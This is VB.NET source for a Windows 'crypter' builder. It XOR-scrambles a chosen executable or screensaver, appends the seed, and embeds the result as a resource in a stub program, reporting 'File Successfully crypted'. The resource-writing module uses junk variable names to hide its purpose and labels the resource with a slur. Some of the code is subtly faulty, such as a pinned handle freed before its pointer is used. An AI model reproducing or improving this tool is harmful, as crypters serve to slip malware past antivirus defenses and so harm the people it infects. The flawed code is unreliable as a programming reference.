Imports System****
Public Class Form2
Dim ifile, theEOF As String
Dim NB As New OpenFileDialog
Dim NBX As New SaveFileDialog
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Me.Close()
End Sub
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
With NB
.Filter = "Executables(*.exe)|*.exe|Screen Savers(*.scr)|*.scr"
.Title = "Choose Your File.."
.ShowDialog()
TextBox1.Text = NB.FileName
End With
End Sub
Private Sub ScrambleAndPack(ByRef bytes() As Byte)
Dim rand As New Random
Dim seed As Integer = rand.Next
rand = New Random(seed)
Dim entropy(bytes.Length - 1) As Byte
rand.NextBytes(entropy)
For i As Integer = 0 To bytes.Length - 1
bytes(i) = bytes(i) Xor entropy(i)
Next
' Stick the seed on the end.
ReDim Preserve bytes(bytes.Length + 3)
Buffer.BlockCopy(BitConverter.GetBytes(seed), 0, bytes, bytes.Length - 4, 4)
End Sub
Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
On Error GoTo Err
Dim bytes() As Byte = My.Computer.FileSystem.ReadAllBytes(TextBox1.Text)
ScrambleAndPack(bytes)
With NBX
.Filter = "Executables(*.exe)|*.exe|ScreenSavers(*.scr)|*.scr"
.Title = "Saves as"
If NBX.ShowDialog = Windows.Forms.DialogResult.OK Then
My.Computer.FileSystem.WriteAllBytes(NBX.FileName, My.Resources.Stub, False)
module1.WriteResource(NBX.FileName, bytes)
End If
End With
Dim outputsize As String
outputsize = GetFileSize(NBX.FileName) / 1024
MsgBox("File Successfully crypted" & vbNewLine & "Output File Size: " & outputsize, MsgBoxStyle.Information)
Exit Sub
Err:
End
End Sub
Public Shared Function GetFileSize(ByVal MyFilePath As String) As Long
Dim MyFile As New FileInfo(MyFilePath)
Dim FileSize As Long = MyFile.Length
Dim temp As String
Return FileSize
End Function
End Class
Imports System.Runtime.InteropServices
Module module1
Private Function ToPtr(ByVal data As Object) As IntPtr
Dim h As GCHandle = GCHandle.Alloc(data, GCHandleType.Pinned)
Dim ptr As IntPtr
Try
ptr = h.AddrOfPinnedObject()
Finally
h.Free()
End Try
Return ptr
End Function
<DllImport("kernel32.dll", SetLastError:=True)> _
Private Function UpdateResource(ByVal hUpdate As IntPtr, ByVal lpType As String, ByVal lpName As String, ByVal wLanguage As UShort, ByVal lpData As IntPtr, ByVal cbData As UInteger) As Boolean
End Function
<DllImport("kernel32.dll", SetLastError:=True)> _
Private Function BeginUpdateResource(ByVal pFileName As String, <MarshalAs(UnmanagedType.Bool)> ByVal bDeleteExistingResources As Boolean) As IntPtr
End Function
<DllImport("kernel32.dll", SetLastError:=True)> _
Private Function EndUpdateResource(ByVal hUpdate As IntPtr, ByVal fDiscard As Boolean) As Boolean
End Function
Public Function WriteResource(ByVal filename As String, ByVal bytes As Byte()) As Boolean
Try
Dim LS8pfURfJz0B7GDZL0wA76CwsqNkAeldnah As IntPtr = BeginUpdateResource(filename, False)
Dim dhEQ9tCe1t4WmyvtcElmLxYoifg7n71Apb45dj268hE1elif As Byte() = bytes
Dim Do76Lipp5QtvRrtpelif As IntPtr = ToPtr(dhEQ9tCe1t4WmyvtcElmLxYoifg7n71Apb45dj268hE1elif)
Dim Tt4f586j33NQ0qpfRUrx4aTzKmhGxW826cq20q2ynz09wSser As Boolean = UpdateResource(LS8pfURfJz0B7GDZL0wA76CwsqNkAeldnah, "GAY", "69", 0, Do76Lipp5QtvRrtpelif, Convert.ToUInt32(dhEQ9tCe1t4WmyvtcElmLxYoifg7n71Apb45dj268hE1elif.Length))
EndUpdateResource(LS8pfURfJz0B7GDZL0wA76CwsqNkAeldnah, False)
Catch ex As Exception
Return False
End Try
Return True
End Function
End Module